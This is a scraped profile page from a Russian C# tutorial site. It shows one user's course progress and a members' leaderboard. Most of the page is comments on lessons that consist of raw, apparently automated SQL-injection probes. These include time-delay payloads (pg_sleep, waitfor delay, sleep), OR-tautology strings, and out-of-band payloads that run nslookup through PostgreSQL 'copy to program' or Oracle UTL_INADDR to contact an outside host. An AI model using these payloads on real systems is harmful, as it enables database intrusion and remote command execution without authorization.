Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович

Den Andreevich
  • Звание: Делегатор
  • Накопленный опыт: 294 часа
  • Баланс Мегахешей: собрано 0 Mh, потрачено 0 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2021-08-06 14:44:23
  • Возраст: 42 года

Видеокурсы

Дата активности Видеокурс Прогресс
2020-07-22 soft0 Демо софт все 8 115 %
2020-05-04 power Дневник успеха 5 из 214 84 %
2020-04-26 soft1 Нанософт все 10 100 %
2019-04-19 wpf2 Простой WPF 11 из 12 %
2019-02-22 ef Entity Framework все 8 100 %
2019-01-23 lambda Функционал все 5 100 %
2019-01-07 task5 Секундомер 14 из 17 88 %
2018-12-10 soft3 Теория ООП все 39 100 %
2018-10-28 game0 Демо игры все 10 100 %
2018-09-29 solo Соло на клавиатуре 2 из 6 %
2018-09-05 bilife Бинарная жизнь все 7 117 %
2018-08-04 game1 Нано-игры 7 из 9 70 %
2018-04-19 spybot Шпионский бот 12 из 14 86 %
2017-09-09 yii Yii2 14 из 40 35 %
2016-11-15 graf Коллекция графов все 19 100 %
2016-05-06 task3 Комбинаторика все 22 100 %
2016-04-16 webbot Webbot On-Line 1 из 23 5 %
Итого: 194 из 463 42 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2021-08-06 solo C# набор 18 из 17 106 %
2021-02-14 task1 Строки 5 из 14 36 %
2020-07-22 task2 Алгоритмика 16 из 20 80 %
2020-07-22 solo Java - Запуск 11 из 13 85 %
2020-05-31 solo Java - Циклы все 2 100 %
2020-05-03 solo Java - Вывод данных 2 из 7 29 %
2019-05-04 olimp Олимпиада 1 из 40 3 %
2018-09-29 solo YESOLO on the Keyboard 13 из 0 %
2017-01-12 task1 Целые числа все 7 100 %
2016-04-26 task2 Динамика все 3 100 %
2016-04-16 task2 Комбинаторика все 9 100 %
2016-02-17 task2 Рекурсия все 4 100 %
2015-08-27 task1 Семантика все 6 100 %
Итого: 97 из 142 69 %
Сохранить страницу:


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:10

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-19229.11120.a0063.\1.bxss.me


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:10

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-19228.11120.a0063.\1.bxss.me'


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:10

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-19226.11120.a0063.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-19223.11120.a0063.1.bxss'||'.me')


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

0lUh8vGB'));select pg_sleep(10.686); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

yNiCZGgm'));select pg_sleep(16.029); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

GBEsQ03q'));select pg_sleep(5.343); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

hNZmfY5l');select pg_sleep(5.343); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

6FNXFMpE';select pg_sleep(16.029); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

-1));select pg_sleep(16.029); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:09

-1));select pg_sleep(5.343); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

-1);select pg_sleep(16.029); --




31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

-1;select pg_sleep(10.686); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

3sZzPkIy'; waitfor delay '0:0:10.686' --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

1 waitfor delay '0:0:10.686' --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

-1); waitfor delay '0:0:5.343' --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

-1; waitfor delay '0:0:5.343' --




31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:08

(select(0)from(select(sleep(5.343)))v)/*'+(select(0)from(select(sleep(5.343)))v)+'"+(select(0)from(select(sleep(5.343)))v)+"*/


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

if(now()=sysdate(),sleep(16.029),0)/*'XOR(if(now()=sysdate(),sleep(16.029),0))OR'"XOR(if(now()=sysdate(),sleep(16.029),0))OR"*/


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

-1' OR 2+995-995-1=0+0+0+1 or 'nrWsrcbL'='


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

-1' OR 2+546-546-1=0+0+0+1 --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

-1 OR 2+181-181-1=0+0+0+1


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

-1 OR 2+742-742-1=0+0+0+1 --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-19210.11120.63cf1.\1.bxss.me


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:07

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-19209.11120.63cf1.\1.bxss.me'


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-19208.11120.63cf1.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-19207.11120.63cf1.1.bxss'||'.me')


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

sl48gx7U'));select pg_sleep(70.311); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

9uHCd7hl');select pg_sleep(46.874); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

Qad8ekak';select pg_sleep(46.874); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

-1));select pg_sleep(46.874); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

-1);select pg_sleep(23.437); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:06

-1;select pg_sleep(46.874); --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

1mOShRUW'; waitfor delay '0:0:46.874' --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

1 waitfor delay '0:0:23.437' --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

-1); waitfor delay '0:0:70.311' --



31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

-1; waitfor delay '0:0:46.874' --



31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

(select(0)from(select(sleep(46.874)))v)/*'+(select(0)from(select(sleep(46.874)))v)+'"+(select(0)from(select(sleep(46.874)))v)+"*/


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:05

if(now()=sysdate(),sleep(23.437),0)/*'XOR(if(now()=sysdate(),sleep(23.437),0))OR'"XOR(if(now()=sysdate(),sleep(23.437),0))OR"*/




31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:04

-1' OR 2+856-856-1=0+0+0+1 or '56RMvVji'='


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:04

-1' OR 2+591-591-1=0+0+0+1 --


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:04

-1 OR 2+779-779-1=0+0+0+1


31528. --
1
1
ответить
→  Den Andreevich  # Комбинаторика / ФИНАЛЬНЫЙ УРОК / 2021-07-31 05:04

-1 OR 2+196-196-1=0+0+0+1 --



31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-16930.11120.457ba.\1.bxss.me


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-16929.11120.457ba.\1.bxss.me'


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-16928.11120.457ba.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-16925.11120.457ba.1.bxss'||'.me')


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

iUG6ME0n'));select pg_sleep(16.779); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

7BL9CevM');select pg_sleep(16.779); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:23

qD68IjIo';select pg_sleep(16.779); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:22

-1));select pg_sleep(0); --




31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:22

-1));select pg_sleep(11.186); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:22

-1);select pg_sleep(5.593); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:22

-1;select pg_sleep(5.593); --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:22

LSgYlsZG'; waitfor delay '0:0:16.779' --




31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

1 waitfor delay '0:0:5.593' --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

-1); waitfor delay '0:0:5.593' --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

-1; waitfor delay '0:0:16.779' --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

(select(0)from(select(sleep(11.186)))v)/*'+(select(0)from(select(sleep(11.186)))v)+'"+(select(0)from(select(sleep(11.186)))v)+"*/


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

(select(0)from(select(sleep(5.593)))v)/*'+(select(0)from(select(sleep(5.593)))v)+'"+(select(0)from(select(sleep(5.593)))v)+"*/


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:21

if(now()=sysdate(),sleep(16.779),0)/*'XOR(if(now()=sysdate(),sleep(16.779),0))OR'"XOR(if(now()=sysdate(),sleep(16.779),0))OR"*/


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:20

-1" OR 2+502-502-1=0+0+0+1 --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:20

-1' OR 2+338-338-1=0+0+0+1 or 'Koies6or'='


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:20

-1' OR 2+792-792-1=0+0+0+1 --


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:20

-1 OR 2+920-920-1=0+0+0+1


31528. --
1
1
ответить
→  Den Andreevich  # Бинарная жизнь / Конструктор организма / 2021-07-31 01:20

-1 OR 2+958-958-1=0+0+0+1 --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-15160.11120.d5d6b.\1.bxss.me


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-15159.11120.d5d6b.\1.bxss.me'


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-15158.11120.d5d6b.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-15157.11120.d5d6b.1.bxss'||'.me')


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

fVKrFkIk'));select pg_sleep(14.188); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

rr1cu42T');select pg_sleep(21.282); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

Gsn3Eiqg');select pg_sleep(0); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

FX22fOht');select pg_sleep(7.094); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

-1));select pg_sleep(7.094); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

6Jjzg6OQ';select pg_sleep(21.282); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:52

-1));select pg_sleep(21.282); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

-1;select pg_sleep(14.188); --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

ib9jjvbe'; waitfor delay '0:0:14.188' --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

1 waitfor delay '0:0:14.188' --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

-1); waitfor delay '0:0:21.282' --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

-1; waitfor delay '0:0:14.188' --


31528. --
1
1
ответить
→  Den Andreevich  # Нанософт / Твоё портфолио / 2021-07-30 22:51

(select(0)from(select(sleep(14.188)))v)/*'+(select(0)from(select(sleep(14.188)))v)+'"+(select(0)from(select(sleep(14.188)))v)+"*/




  • Звание: Делегатор
  • Накопленный опыт: 294 часа
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2021-02-14

Клуб формулистов

Формулист За сегодня За неделю
Разминка Обучение Бонусы Сумма
1 -- Tom 30514 178
2 -- Tim 30187 76
3 -- Leo 32211 50
4 -- Посетитель 0 5 5 30
5 -- Ilya Marshall 32286 16
6 KF Mikhail 11879 15
7 KF Владимир 32063 15
8 -- Владимир 31464 14
9 -- Валерий Жданов 791 10
10 -- Иван 29612 10
11 -- Никита 32137 10
12 -- Nurken 32314 6
13 -- Степан 1710 5
14 -- Permitin Alexey 3146 5
15 -- Николай Миролюбов 6203 5
16 -- Новопашин Владимир 7119 5
17 -- Рустем 30722 5
18 -- Edgar 32250 5
19 -- Евгений Волосатов 1 4
20 -- roman 32319 3
21 -- Семён 31988 2
22 -- meruyet 32301 2
23 -- Павел 21605 1
24 -- DefuZe 31953 1
25 -- Сергей 32285 1
26 -- kimka 32289 1
27 -- uyry 32290 1
28 -- Adolf 32293 1
29 -- dada 32295 1
30 -- Qvesd 32296 1
31 -- Anton 32309 1
32 -- Александр 32310 1
33 -- Nikto 32312 1
34 -- Алексей 32315 1
35 -- Никита 32316 1
36 -- Евгений 32317 1
37 -- Аят 32320 1

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Красивый результат, отличный урок ! Научился работать с элементом Panel , рандомной генерацией разных фигур и заданию их свойств (цвета заливки, ширины линии, координат отображения).
Трудности: Понять правила зеркального отображения фигур .



Научился: Калязин Денис . Пройдя 7 уроков по "Демо играм" получил представление о работе с настройками рабочей формы, её медиаконтента, обработке событий (нажатий кнопок мышки и клавиатуры ). Каждая из игр запомнилась своим оформлением, несложным как оказалось алгоритмом, возможностью различных доработок . Довольно интересная и познавательная получилась подборка игровых программ, - за что отдельное спасибо автору ! Следующим планирую пройти курс по написанию игрового комплекса "Сокобан" .
Трудности: При написании "Бот для Быстрощёлка" долго не мог разобраться с отсутствием события нажатия мышки ( метод DoMouseClick() ) под Windows 10 . Как оказалось, сам автокликер необходимо запускать с правами администратора .